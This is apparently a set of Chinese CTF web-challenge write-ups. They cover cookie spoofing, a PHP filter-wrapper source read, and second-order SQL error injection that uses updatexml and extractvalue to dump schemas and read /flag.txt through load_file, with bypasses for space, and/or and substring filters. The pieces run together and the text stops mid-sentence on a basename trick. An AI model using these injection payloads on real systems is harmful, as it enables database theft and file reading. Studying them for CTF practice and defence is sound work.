虽然是很简单,但是有点难想。
只需在请求头中加上cookie发包请求就行。
cookie:username=admin首先可以通过首页的源代码中发现提示,然后有PHP伪协议可以读取源代码。
?file=php://filter/read=convert.base64-encode/resource=index.php可以得到所有的源代码,进行代码审计。 注意到两个部分。
第一点就是在提交订单时的confirm.php,对输入的姓名电话地址几乎无过滤,虽然有一个黑名单,但没起到作用,匹配到黑名单后还会往下继续执行。
第二点就是在修改订单信息的change.php,对于输入的地址有一个addslashes转义处理,这就导致输入的address变量在这里不可利用。
但是在执行修改sql语句时,还是有将原来的地址取出放入sql语句。
$address = addslashes($_POST["address"]); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];也就是有一个利用漏洞,因为在提交订单时没有过滤,在提交订单时将payload放入地址,在修改订单信息时随便输入一个新地址,但是旧地址也在sql语句中执行。可以利用报错注入。
但是很重要一点,flag在哪,可以一步一步爆库爆表直到得到字段内容,没有flag。最终 flag 在flag.txt。通过load_file函数来读取文件内容。
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#一步一步来做的话,可能不算难,但有点麻烦。二次注入,不是什么新知识点,关键是代码审计知道利用点。
登录注册修改密码,盲猜就是二次注入。
在注册时,如果用户名中含双引号"或者注释符\,在修改密码时,会引发报错,可以发现,sql语句为双引号闭合,并且可能存在报错注入。同时可以猜测后端sql语句的形式为
update users set password='xxxx' where username="xxxx" and pwd='xxxx'进一步尝试报错注入获取数据库名称。存在空格过滤,并且and和or也被过滤,可以用&&或||代替,空格则用括号分割sql语句来避免使用。
注册时输入用户名为payload,在修改密码提交时触发报错。
2"&&extractvalue(1,concat(0x7e,(select(database()))))#继续爆表,得到表 article、flag、users
2"&&extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))#爆字段都一样,真正的flag在users表里,但字段名显示时由于有长度限制,所以没有显示完全,可以正序倒序一起来一下,也有用正则匹配输出的,确认 flag 所在字段名为real_flag_1s_here
正序 2"&&extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))))# 倒序 2"&&extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))# 正则 2"&&extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#开始直接输出全部的话,发现前面有很多干扰内容。并且分块截取的函数都被过滤了,所以只能用正则,最终得到flag。
正序 2"&&extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))# 逆序 2"&&extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#发现了注入点的话,后面就应该不难。
当basename函数解析到ASCII码数值之外的字符时,会忽略它,官方文档介绍,ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128(